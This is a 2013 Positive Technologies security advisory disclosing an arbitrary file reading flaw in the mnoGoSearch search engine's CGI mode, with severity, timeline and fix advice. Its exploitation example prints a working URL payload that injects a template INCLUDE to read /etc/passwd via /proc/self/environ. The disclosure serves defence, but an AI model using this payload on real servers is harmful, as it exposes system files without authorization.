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[PT-2013-17] Arbitrary Files Reading in mnoGoSearch
From: noreply () ptsecurity ru
Date: Tue, 5 Mar 2013 12:24:33 GMT

-----------------------------------------------------------
(PT-2013-17) Positive Technologies Security Advisory 
    Arbitrary Files Reading in mnoGoSearch
-----------------------------------------------------------

---[ Vulnerable software ]

mnoGoSearch 
Version: 3.3.12 and earlier

Application link: 
http://www.mnogosearch.org/

---[ Severity level ]

Severity level: High 
Impact:  Arbitrary Files Reading 
Access Vector:  Remote 
CVSS v2: 
Base Score: 7.8 
Vector: (AV:N/AC:L/Au:N/C:C/I:N/A:N)

CVE: not assigned

---[ Software description ]

mnoGoSearch is a universal Intranet and Internet search engine.

---[ Vulnerability description ]

Positive Technologies experts have detected an Arbitrary Files Reading vulnerability in mnoGoSearch.

Passing startup parameters via QUERY_STRING (http://tools.ietf.org/html/draft-robinson-www-interface-00#section-7) for 
an application running in CGI mode can be used to set page template path variable "d". Generating a template file on 
the server and specifying it in the variable "d" can result in Arbitrary Files Reading via <!INCLUDE CONTENT="URI"> 
template structure.   
---[ Exploitation example] 
The /proc/self/environ file, in which part of the template is formed through the PATH_INFO environment variable, can be 
used as a template. 
<!--top--> 
<!INCLUDE CONTENT="file:/etc/passwd"> 
<!--/top-->

http://host/cgi-bin/search.cgi/%0A%3C!--top--%3E%0A%3C!INCLUDE%20CONTENT=%22file:/etc/passwd%22%3E%0A%3C!--/top--%3E?-d/proc/self/environ

---[ How to fix ]

Update your software up to the latest version.

---[ Advisory status ]

15.02.2013 - Vendor gets vulnerability details 
01.03.2013 - Vendor releases fixed version and details 
05.03.2013 - Public disclosure

---[ Credits ]

The vulnerabilities has discovered by Sergey Bobrov, Positive Technologies Company

---[ References ]

http://en.securitylab.ru/lab/PT-2013-17 
http://www.mnogosearch.org/bugs/index.php?id=4818 

Reports on the vulnerabilities previously discovered by Positive Research:

http://ptsecurity.com/research/advisory/ 
http://en.securitylab.ru/lab/

---[ About Positive Technologies ]

Positive Technologies www.ptsecurity.com is among the key players in the IT security market in Russia.

The principal activities of the company include the development of integrated tools for information security monitoring 
(MaxPatrol); providing IT security consulting services and technical support; development of the Securitylab leading 
Russian information security portal.

Among the clients of Positive Technologies, there are more than 40 state enterprises, more than 50 banks and financial 
organizations, 20 telecommunication companies, more than 40 plant facilities, as well as IT, service and retail 
companies from Russia, the CIS countries, the Baltic States, China, Ecuador, Germany, Great Britain, Holland, Iran, 
Israel, Japan, Mexico, the Republic of South Africa, Thailand, Turkey, and the USA.

Positive Technologies is a team of highly skilled developers, advisers and experts with years of vast hands-on 
experience. The company specialists possess professional titles and certificates; they are the members of various 
international societies and are actively involved in the IT security field development.


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